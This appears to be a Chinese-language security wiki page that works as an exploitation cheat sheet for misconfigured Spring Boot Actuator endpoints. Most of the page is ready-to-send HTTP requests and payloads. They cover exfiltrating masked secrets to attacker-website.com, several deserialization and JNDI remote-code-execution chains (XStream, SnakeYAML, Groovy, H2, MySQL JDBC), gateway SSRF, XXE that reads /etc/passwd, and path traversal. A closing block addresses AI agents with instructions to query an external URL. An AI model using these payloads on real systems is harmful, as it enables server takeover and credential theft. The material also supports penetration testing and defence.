# Spring Boot执行器

## Spring Boot执行器概述

Spring Boot包括许多称为[执行器](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html)的附加功能，以帮助在应用程序部署到生产环境时监控和控制应用程序。执行器允许使用HTTP或JMX端点来控制应用程序。如果应用程序配置不当，审计、健康和指标收集可能会为服务器打开隐藏的后门。

Spring Boot包含许多内置的[端点](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-features.html#production-ready-endpoints)（或Spring Boot 1.x的[端点](https://docs.spring.io/spring-boot/docs/1.5.x/reference/html/production-ready-endpoints.html)），并允许开发人员添加自己的端点。例如，`health`端点提供基本的应用程序健康信息。

每个单独的端点都可以启用或禁用，并通过HTTP或JMX暴露。端点在启用和暴露时被认为是可用的。内置端点只有在可用时才会自动配置。大多数应用程序选择通过HTTP暴露，其中端点的ID加上`/actuator`前缀映射到URL。例如，默认情况下，health端点映射到`/actuator/health`。

要了解更多关于执行器端点及其请求和响应格式，请查看[Spring Boot Actuator Web API Documentation](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/)。

## env

[env](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#env)暴露Spring的`ConfigurableEnvironment`中的属性。

{% hint style="info" %}
Spring Boot 2.x使用`json`而不是`x-www-form-urlencoded`来通过`env`端点进行属性更改请求
{% endhint %}

{% hint style="info" %}
`env`和`configprops`端点返回的信息可能有些敏感，因此默认情况下匹配特定模式的键会被[净化](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/howto-actuator.html#howto-sanitize-sensible-values)（替换为`*`）。但是，下面您可以找到几种检索这些值的方法
{% endhint %}

### eureka.client.serviceUrl.defaultZone

`eureka.client.serviceUrl.defaultZone`需要以下条件：

* `/refresh`端点可用
* 应用程序使用`spring-cloud-starter-netflix-eureka-client`依赖

#### 检索env属性

您可以通过以下步骤获取`env`属性值的明文：

1. 设置`eureka.client.serviceUrl.defaultZone`属性：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/x-www-form-urlencoded

   {
       "name": "eureka.client.serviceUrl.defaultZone",
       "value": "http://value:${your.property.name}@attacker-website.com/"
   }
   ```
2. 刷新配置

   ```http
   POST /actuator/refresh HTTP/1.1
   Content-Type: application/json
   ```
3. 从`attacker-website.com`日志中的`Authorization`头部检索属性值

参考：

* [Spring Boot Vulnerability Exploit Check List: Obtain the plaintext of the password desensitized by the asterisk (method 2)](https://github.com/LandGrey/SpringBootVulExploit#0x04%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%BA%8C)

#### XStream反序列化RCE

需要`Eureka-Client`版本`< 1.8.7`。

您可以通过以下步骤获得RCE：

1. 设置一个响应恶意XStream payload的网站，查看[springboot-xstream-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py)
2. 设置`eureka.client.serviceUrl.defaultZone`属性：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "eureka.client.serviceUrl.defaultZone",
       "value": "http://attacker-website.com/payload"
   }
   ```
3. 刷新配置：

   ```http
   POST /actuator/refresh HTTP/1.1
   Content-Type: application/json
   ```
4. 代码将被执行

可能的原因是：

1. `eureka.client.serviceUrl.defaultZone`属性设置为外部eureka服务器URL
2. 刷新触发对虚假eureka服务器的请求，该服务器将返回恶意payload
3. 响应解析触发XStream反序列化，导致代码执行

参考：

* [Spring Boot Vulnerability Exploit Check List: eureka xstream deserialization RCE](https://github.com/LandGrey/SpringBootVulExploit#0x03eureka-xstream-deserialization-rce)

### logging.config

`logging.config`需要`/restart`可用。

#### Logback JNDI RCE

`logging.config`可以通过Logback JNDI导致RCE，查看[Logback JNDI RCE](#logback-jndi-rCE)。

如何利用：

1. 托管具有以下上下文的`logback`配置XML文件：

   ```xml
   <configuration>
       <insertFromJNDI env-entry-name="ldap://attacker-website.com:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
   </configuration>
   ```
2. 托管恶意LDAP服务，查看[文章](https://landgrey.me/blog/21/)如何准备payload并启动服务
3. 设置`logging.config`属性：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "logging.config",
       "value": "http://attacker-website.com/logback.xml"
   }
   ```
4. 重启应用程序：

   ```http
   POST /actuator/restart HTTP/1.1
   Content-Type: application/json
   ```

资源：

* [Spring Boot Vulnerability Exploit Check List: restart logging.config logback JNDI RCE](https://github.com/LandGrey/SpringBootVulExploit#0x09restart-loggingconfig-logback-jndi-rce)

#### Groovy RCE

如何利用：

1. 托管具有以下内容的`payload.groovy`文件：

   ```groovy
   Runtime.getRuntime().exec("open -a Calculator")
   ```
2. 设置`logging.config`：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "logging.config",
       "value": "http://attacker-website.com/payload.groovy"
   }
   ```
3. 重启应用程序：

   ```http
   POST /actuator/restart HTTP/1.1
   Content-Type: application/json
   ```

该链包含以下步骤：

1. 攻击者使用`logging.config`属性设置Logback配置文件
2. 应用程序在重启后请求配置
3. `logback-classic`中的`ch.qos.logback.classic.util.ContextInitializer.java`确定URL是否以`groovy`结尾
4. 配置文件中的Groovy代码被执行

参考：

* [Spring Boot Vulnerability Exploit Check List: restart logging.config groovy RCE](https://github.com/LandGrey/SpringBootVulExploit#0x0arestart-loggingconfig-groovy-rce)

### spring.main.sources

`spring.main.sources`需要`/restart`可用。

如何利用：

1. 托管具有以下内容的`payload.groovy`文件：

   ```groovy
   Runtime.getRuntime().exec("open -a Calculator")
   ```
2. 设置`logging.config`：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "spring.main.sources",
       "value": "http://attacker-website.com/payload.groovy"
   }
   ```
3. 重启应用程序：

   ```http
   POST /actuator/restart HTTP/1.1
   Content-Type: application/json
   ```

该链包含以下步骤：

1. 将`spring.main.sources`设置为带有payload的外部URL
2. 应用程序在重启后请求该URL
3. `spring-boot`中的`org.springframework.boot.BeanDefinitionLoader.java`确定URL是否以`groovy`结尾
4. 配置文件中的Groovy代码被执行

参考：

* [Spring Boot Vulnerability Exploit Check List: restart spring.main.sources groovy RCE](https://github.com/LandGrey/SpringBootVulExploit#0x0brestart-springmainsources-groovy-rce)

### spring.datasource.tomcat.validationQuery

`spring.datasource.tomcat.validationQuery`允许指定任何SQL查询，该查询将自动针对当前数据库执行。它可以是任何语句，包括insert、update或delete。

![](/files/Y6YT6aHPEGC9Th577zg1)

### spring.datasource.tomcat.url

`spring.datasource.tomcat.url`允许修改当前的JDBC连接字符串。

这里的问题是，当应用程序建立到数据库的连接已经在运行时，仅更新JDBC字符串没有效果。但是您可以尝试使用`spring.datasource.tomcat.max-active`来增加同时数据库连接的数量。

因此，您可以更改JDBC连接字符串，增加连接数量，然后向应用程序发送许多请求来模拟重负载。在负载下，应用程序将使用更新的恶意JDBC字符串创建新的数据库连接。

![](/files/xOANDeYaCq7XiF9j685D)

### spring.datasource.data

如果满足以下条件，`spring.datasource.data`可用于获得RCE：

* `/restart`可用
* 使用了`h2database`和`spring-boot-starter-data-jpa`依赖

如何利用：

1. 托管具有以下内容的`payload.sql`文件：

   ```sql
   CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
   ```

   payload中的`T5`方法必须在命令执行后重命名（为`T6`），然后才能重新创建和使用。否则，下次应用程序重启时漏洞将不会触发。
2. 设置`spring.datasource.data`：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "spring.datasource.data",
       "value": "http://attacker-website.com/payload.sql"
   }
   ```
3. 重启应用程序：

   ```http
   POST /actuator/restart HTTP/1.1
   Content-Type: application/json
   ```

利用链包含以下步骤：

1. 攻击者将`spring.datasource.data`设置为JDBC DML SQL文件的URL
2. 应用程序在重启后请求该URL
3. `spring-boot-autoconfigure`中的`org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java`使用`runScripts`方法执行h2数据库SQL代码，导致RCE

参考：

* [Spring Boot Vulnerability Exploit Check List: restart spring.datasource.data h2 database RCE](https://github.com/LandGrey/SpringBootVulExploit#0x0crestart-springdatasourcedata-h2-database-rce)

### spring.datasource.url

`spring.datasource.url`是仅用于第一次连接的数据库连接字符串。您可以将其与MySQL中的JDBC反序列化漏洞链接以获得RCE。该漏洞需要以下条件：

* `/refresh`可用
* 使用了`mysql-connector-java`依赖

{% hint style="info" %}
更改`spring.datasource.url`将暂时禁用所有正常的数据库服务
{% endhint %}

如何利用：

1. 使用`/actuator/env`端点获取以下值：
   * `mysql-connector-java`版本号（5.x或8.x）
   * 常见的反序列化小工具，如`commons-collections`
   * `spring.datasource.url`值，以便稍后制定其正常的JDBC URL
2. 使用[ysoserial](https://github.com/frohoff/ysoserial)创建payload：

   ```bash
   java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
   ```
3. 使用[springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py)托管`payload.ser`
4. 设置`spring.datasource.url`属性：

   `mysql-connector-java`版本5.x：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "spring.datasource.url",
       "value":"jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
   }
   ```

   `mysql-connector-java`版本8.x：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "spring.datasource.url",
       "value":"jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
   }
   ```
5. 刷新配置：

   ```http
   POST /actuator/refresh HTTP/1.1
   Content-Type: application/json
   ```
6. 尝试访问将触发数据库查询的端点，例如`/product/list`，或找到其他方式查询数据库并触发漏洞

利用链包含以下步骤：

* `spring.datasource.url`设置为外部MySQL JDBC URL
* 刷新配置
* 应用程序在执行数据库查询时使用恶意的MySQL JDBS URL建立新的数据库连接
* 恶意MySQL服务器在建立连接的适当阶段返回payload
* `mysql-connector-java`反序列化payload并执行任意代码

参考：

* [Spring Boot Vulnerability Exploit Check List: mysql jdbc deserialization RCE](https://github.com/LandGrey/SpringBootVulExploit#0x08mysql-jdbc-deserialization-rce)

### spring.cloud.bootstrap.location

`spring.cloud.bootstrap.location`需要以下条件：

* `/refresh`端点可用
* `spring-cloud-starter`版本`< 1.3.0.RELEASE`

#### 检索env属性

您可以通过以下步骤获取`env`属性值的明文：

1. 设置`spring.cloud.bootstrap.location`属性：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "spring.cloud.bootstrap.location",
       "value": "http://attacker-website.com/?=${your.property.name}"
   }
   ```
2. 刷新配置

   ```http
   POST /actuator/refresh HTTP/1.1
   Content-Type: application/json
   ```
3. 从`attacker-website.com`日志中检索属性值

参考：

* [Spring Boot Vulnerability Exploit Check List: Obtain the plaintext of the password desensitized by the asterisk (method 3)](https://github.com/LandGrey/SpringBootVulExploit#0x05%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%B8%89)

#### SnakeYML RCE

`spring.cloud.bootstrap.location`允许加载YAML格式的外部配置。您可以通过以下步骤获得代码执行：

1. 在`http://attacker-website.com/config.yml`托管`config.yml`，内容如下：

   ```yaml
   !!javax.script.ScriptEngineManager [
     !!java.net.URLClassLoader [[
       !!java.net.URL ["http://attacker-website.com/payload.jar"]
     ]]
   ]
   ```
2. 托管包含将被执行的代码的`payload.jar`，查看[marshalsec research](https://github.com/mbechler/marshalsec)和[artsploit/yaml-payload](https://github.com/artsploit/yaml-payload)了解如何准备payload
3. 设置`spring.cloud.bootstrap.location`属性：

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "spring.cloud.bootstrap.location",
       "value": "http://attacker-website.com/yaml-payload.yml"
   }
   ```
4. 刷新配置：

   ```http
   POST /actuator/refresh HTTP/1.1
   Content-Type: application/json
   ```
5. 代码将被执行

可能的原因是：

1. `spring.cloud.bootstrap.location`设置为带有外部恶意配置的URL
2. 刷新触发对远程服务器上配置文件的请求并检索其内容
3. 由于反序列化漏洞，`SnakeYAML`在解析恶意配置时完成指定的操作
4. `SnakeYAML`使用`java.net.URL`从远程服务器拉取恶意jar
5. `SnakeYAML`在jar中搜索实现`javax.script.ScriptEngineFactory`接口的类并创建其实例
6. 实例创建导致恶意代码执行

参考：

* [Spring Boot Vulnerability Exploit Check List: spring cloud SnakeYAML RCE](https://github.com/LandGrey/SpringBootVulExploit#0x02spring-cloud-snakeyaml-rce)
* [Spring Cloud Env Study Notes of Exploit Spring Boot Actuator](https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/)

### spring.datasource.hikari.connection-test-query

`spring.datasource.hikari.connection-test-query`设置一个在从池中授予连接之前将执行的查询。如果满足以下条件，它可能导致RCE：

* `/restart`端点可用
* 使用了`com.h2database.h2`依赖

您可以通过以下步骤获得代码执行：

1. 设置`spring.datasource.hikari.connection-test-query`属性

   ```http
   POST /actuator/env HTTP/1.1
   Content-Type: application/json

   {
       "name": "spring.datasource.hikari.connection-test-query",
       "value": "CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"
   }
   ```

   payload中的`T5`方法必须在命令执行后重命名（为`T6`），然后才能重新创建和使用。否则，下次应用程序重启时漏洞将不会触发。
2. 重启应用程序：

   ```http
   POST /actuator/restart HTTP/1.1
   Content-Type: application/json
   ```

工作原理：

* `spring.datasource.hikari.connection-test-query`设置为使用CREATE ALIAS创建自定义函数的恶意SQL语句
* `spring.datasource.hikari.connection-test-query`对应于HikariCP数据库连接池的`connectionTestQuery`配置，并定义在新数据库连接之前要执行的SQL语句
* 重启建立新的数据库连接
* 自定义函数被执行

参考：

* [Spring Boot Vulnerability Exploit Check List: restart h2 database query RCE](https://github.com/LandGrey/SpringBootVulExploit#0x06restart-h2-database-query-rce)
* [Writeup: Remote Code Execution in Three Acts: Chaining Exposed Actuators and H2 Database Aliases in Spring Boot 2](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)

## gateway

[gateway](https://cloud.spring.io/spring-cloud-gateway/reference/html/#actuator-api)执行器端点让您监控和与Spring Cloud Gateway应用程序交互。换句话说，您可以为应用程序定义路由，并使用`gateway`执行器根据这些路由触发请求。

### SSRF

至少存在以下问题：

1. 路由可以提供对隐藏或内部端点的访问，这些端点可能配置不当或存在漏洞。您可以通过向`/actuator/gateway/routes`发送`GET`请求来获取所有可用路由。
2. 如果[添加路由](https://cloud.spring.io/spring-cloud-gateway/reference/html/#creating-and-deleting-a-particular-route)不需要管理员权限，则会出现完整的SSRF。下一个请求将创建到本地主机的路由：

   ```http
   POST /actuator/gateway/routes/new_route HTTP/1.1
   Content-Type: application/json

   {
   "predicates": [
       {
       "name": "Path",
       "args": {
           "_genkey_0": "/new_route/**"
       }
       }
   ],
   "filters": [
       {
       "name": "RewritePath",
       "args": {
           "_genkey_0": "/new_route(?<path>.*)",
           "_genkey_1": "/${path}"
       }
       }
   ],
   "uri": "https://localhost",
   "order": 0
   }
   ```

   发送刷新请求以应用新路由：

   ```http
   POST /actuator/gateway/refresh HTTP/1.1
   Content-Type: application/json

   {
       "predicate": "Paths: [/new_route], match trailing slash: true",
       "route_id": "new_route",
       "filters": [
           "[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]"
       ],
       "uri": "https://localhost",
       "order": 0
   }
   ```

参考：

* [BRING YOUR OWN SSRF – THE GATEWAY ACTUATOR](https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/)

### SpEL代码注入

使用`3.1.0`和`3.0.6`之前版本的Spring Cloud Gateway的应用程序容易受到[CVE-2022-22947](https://tanzu.vmware.com/security/cve-2022-22947)的攻击，当Gateway Actuator端点启用、暴露且不安全时，会导致代码注入攻击。远程攻击者可以制作恶意请求，允许在远程主机上进行任意远程执行。

查看以下带有详细信息的文章：

* [CVE-2022-22947: SPEL CASTING AND EVIL BEANS](https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/)
* [Spring Cloud Gateway Actuator API SpEL Code Injection (CVE-2022-22947)](https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947)
* [Spring cloud gateway injects memory horses through SPEL](https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg)

## trace或httptrace

显示HTTP跟踪信息（默认情况下，最后100个HTTP请求-响应交换）。它可能泄露内部应用程序请求的详细信息以及用户cookie和JWT令牌。

`trace`需要一个`HttpTraceRepository` bean。

## mappings

[mappings](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#mappings)显示所有`@RequestMapping`路径的整理列表。

## sessions

[sessions](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#sessions)允许从Spring Session支持的会话存储中检索和删除用户会话。需要使用Spring Session的基于Servlet的Web应用程序。

## shutdown

[shutdown](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#shutdown)允许应用程序优雅地关闭。默认情况下禁用。

## h2-console

需要以下条件：

* 使用了`com.h2database.h2`依赖
* h2控制台在Spring配置中启用`spring.h2.console.enabled=true`

您可以通过h2数据库控制台中的JDNI获得RCE：

1. 访问h2控制台`/h2-console`。应用程序将重定向到`/h2-console/login.jsp?jsessionid=xxxxxx`。捕获`jsessionid`值。
2. 准备要执行的Java代码，您可以重用[JNDIObject.java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java)
3. 以与早期JDK版本兼容的方式编译：

   ```bash
   javac -source 1.5 -target 1.5 JNDIObject.java
   ```
4. 在`http://attacker-website.com/`托管编译的`JNDIObject.class`
5. 使用[marshalsec](https://github.com/mbechler/marshalsec)设置LDAP服务：

   ```bash
   java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-website.com:80/#JNDIObject 1389
   ```
6. 触发JNDI注入：

   ```http
   POST /h2-console/login.do?jsessionid=xxxxxx
   Host: vulnerable-website.com
   Content-Type: application/json
   Referer: http://vulnerable-website.com/h2-console/login.jsp?jsessionid=xxxxxx

   {
       "language": "en",
       "setting": "Generic+H2+(Embedded)",
       "name": "Generic+H2+(Embedded)",
       "driver": "javax.naming.InitialContext",
       "url": "ldap://attacker-website.com:1389/JNDIObject",
       "user": "",
       "password": ""
   }
   ```

参考：

* [Spring Boot Vulnerability Exploit Check List: h2 database console JNDI RCE](https://github.com/LandGrey/SpringBootVulExploit#0x07h2-database-console-jndi-rce)

## heapdump

[heapdump](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#heapdump)返回一个hprof堆转储文件，可能包含敏感数据，如`env`属性。要从prof堆转储中检索数据，使用[Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php)工具，查看[Find password plaintext in spring heapdump using MAT](https://landgrey.me/blog/16/)。

参考：

* [Spring Boot Vulnerability Exploit Check List: Obtain the plaintext of the password desensitized by the asterisk (method 4)](https://github.com/LandGrey/SpringBootVulExploit#0x06%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E5%9B%9B)

## jolokia

通过HTTP暴露JMX bean（当Jolokia在类路径上时，WebFlux不可用）。需要依赖`jolokia-core`。

### 提取env属性

您可以调用相关的MBeans以明文检索`env`属性值。下面您可以找到可用于此目的的MBeans。但是，情况可能有所不同，列出的Mbeans可能不可用。但是，您可以搜索可以通过`getProperty`等关键字调用的方法。

参考：

* [Spring Boot Vulnerability Exploit Check List: Obtain the plaintext of the password desensitized by the asterisk (method 1)](https://github.com/LandGrey/SpringBootVulExploit#0x03%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%B8%80)

#### org.springframework.boot

您可以使用以下请求获取`env`属性值的明文：

```http
POST /actuator/jolokia HTTP/1.1
Content-Type: application/json

{
    "mbean": "org.springframework.boot:name=SpringApplication,type=Admin",
    "operation": "getProperty",
    "type": "EXEC",
    "arguments": [
        "your.property.name"
    ]
}
```

`org.springframework.boot` MBean调用`org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar`类实例的`getProperty`方法。

#### org.springframework.cloud.context.environment

您可以使用以下请求获取`env`属性值的明文：

```http
POST /actuator/jolokia HTTP/1.1
Content-Type: application/json

{
    "mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager",
    "operation": "getProperty",
    "type": "EXEC",
    "arguments": [
        "your.property.name"
    ]
}
```

`org.springframework.cloud.context.environment` MBean调用`org.springframework.cloud.context.environment.EnvironmentManager`类实例的`getProperty`方法。

### Logback::reloadByURL

您可以使用`/jolokia/list`端点列出所有可用的MBeans操作。大多数MBeans操作只暴露一些系统数据，但如果存在`Logback`库提供的`reloadByURL`操作：

![](/files/xiVQOTt44rBPZipirArJ)

可以从外部URL重新加载日志配置：

```http
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker-website.com!/logback.xml
```

#### 带外XXE

`Logback`使用由启用了外部实体的`SAXParser` XML解析器解析的XML配置。您可以利用此功能触发带外XXE：

```xml
<!-- logback.xml -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://attacker-website.com/file.dtd">%remote;%int;]>
<a>&trick;</a>
```

```xml
<!-- file.dtd -->
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
```

![包含/etc/passwd文件内容和错误的服务器响应](/files/eR9hwAt9APA5Ey4ERLkg)

参考：

* [Spring Boot Actuator (jolokia) XXE/RCE](https://github.com/mpgn/Spring-Boot-Actuator-Exploit)

#### Logback JNDI RCE

`Logback`配置具有[从JNDI获取变量](https://logback.qos.ch/manual/configuration.html#insertFromJNDI)的功能。在XML配置文件中，您可以包含如下标签：

```xml
<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName"/>
```

在这种情况下，`env-entry-name`属性将传递给`DirContext.lookup()`方法。向`lookup`方法提供任意名称可以通过远程类加载导致远程代码执行。

您可以通过以下步骤获得代码执行：

1. 获取`/jolokia/list`以检查`ch.qos.logback.classic.jmx.JMXConfigurator`类和`reloadByURL`方法是否可用
2. 在`http://attacker-website.com/logback.xml`托管logback配置：

   ```xml
   <configuration>
       <insertFromJNDI env-entry-name="ldap://attacker-website.com:1389/JNDIObject" as="appName" />
   </configuration>
   ```
3. 准备要执行的Java代码，您可以重用[JNDIObject.java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java)
4. 以与早期JDK版本兼容的方式编译：

   ```bash
   javac -source 1.5 -target 1.5 JNDIObject.java
   ```
5. 在`http://attacker-website.com/`托管编译的`JNDIObject.class`
6. 设置LDAP服务器，使用[marshalsec](https://github.com/mbechler/marshalsec)设置服务器：

   ```bash
   java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-website.com:80/#JNDIObject 1389
   ```
7. 使用以下请求从外部URL加载日志配置：

   ```
   GET /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker-website.com!/logback.xml HTTP/1.1
   ```

   如果应用程序成功请求`logback.xml`且`marshalsec`接收到目标请求，但应用程序未请求`JNDIObject.class`，则可能是应用程序的JDK版本过高，导致JNDI使用失败。

可能的原因是以下步骤：

1. 直接访问可能导致漏洞的URL等同于通过jolokia `reloadByURL`调用`ch.qos.logback.classic.jmx.JMXConfigurator`类方法
2. 应用程序从外部URL请求XML配置文件
3. XML配置由`saxParser.parse`解析，导致XXE漏洞
4. 在Logback XML配置文件中使用`insertFormJNDI`标签指定外部JNDI服务器地址
5. 应用程序请求恶意JNDI服务器，导致JNDI注入和RCE

参考：

* [Spring Boot Vulnerability Exploit Check List: jolokia logback JNDI RCE](https://github.com/LandGrey/SpringBootVulExploit#0x04jolokia-logback-jndi-rce)
* [Spring Boot Actuator (jolokia) XXE/RCE](https://github.com/mpgn/Spring-Boot-Actuator-Exploit)
* [Research: A Journey From JNDI/LDAP Manipulation To RCE](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)
* [Research: Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)

### Tomcat::createJNDIRealm

Tomcat（嵌入到Spring Boot中）的MBeans之一是`createJNDIRealm`。`createJNDIRealm`允许创建易受JNDI注入攻击的JNDIRealm。您可以通过以下步骤利用：

1. 获取`/jolokia/list`以检查`type=MBeanFactoryand`和`createJNDIRealm`是否存在
2. 准备要执行的Java代码，您可以重用[JNDIObject.java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java)
3. 编译代码并在`http://attacker-website.com/`托管编译的类
4. 使用[marshalsec](https://github.com/mbechler/marshalsec)设置RMI服务：

   ```bash
   java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://attacker-website.com:80/#JNDIObject 1389
   ```
5. 使用[springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py)发送payload

可能的原因是以下链：

1. 使用`createJNDIRealm`创建`JNDIRealm`
2. 将`connectionURL`地址设置为RMI服务URL
3. 将`contextFactory`设置为`RegistryContextFactory`
4. 停止Realm
5. 启动Realm以触发指定RMI地址的JNDI注入，导致RCE

参考：

* [Spring Boot Vulnerability Exploit Check List: jolokia-realm-jndi-rce](https://github.com/LandGrey/SpringBootVulExploit#0x05jolokia-realm-jndi-rce)
* [Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)

### Jookia CVEs

* [How I made more than $30K with Jolokia CVEs](https://blog.it-securityguard.com/how-i-made-more-than-30k-with-jolokia-cves/)
* [Jolokia Vulnerabilities - RCE & XSS](https://blog.gdssecurity.com/labs/2018/4/18/jolokia-vulnerabilities-rce-xss.html)

## logfile

[logfile](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#log-file)返回日志文件的内容（如果设置了`logging.file.name`或`logging.file.path`属性）。支持使用HTTP Range头部检索日志文件内容的一部分。

## logview

[spring-boot-actuator-logview](https://github.com/lukashinsch/spring-boot-actuator-logview)`0.2.13`之前的版本易受路径遍历攻击，允许您检索任意文件。

```bash
# 检索 /etc/passwd
$ curl http://localhost:8887/manage/log/view?filename=/etc/passwd&base=../../../../../
```

参考：

* [Writeup: CVE-2021-21234 Spring Boot Actuator Logview Directory Traversal](https://pyn3rd.github.io/2021/10/25/CVE-2021-21234-Spring-Boot-Actuator-Logview-Directory-Traversal/)

## dump或threaddump

[dump或threaddump](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#threaddump)从应用程序的JVM执行线程转储。

## 参考

* [Spring Boot Actuator: Production-ready Features](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html)
* [Veracode Research: Exploiting Spring Boot Actuators](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
* [Spring Boot Vulnerability (Keep On Updating)](https://github.com/pyn3rd/Spring-Boot-Vulnerability)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.cdxiaodong.life/kuang-jia-an-quan/spring/spring-boot-actuators.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
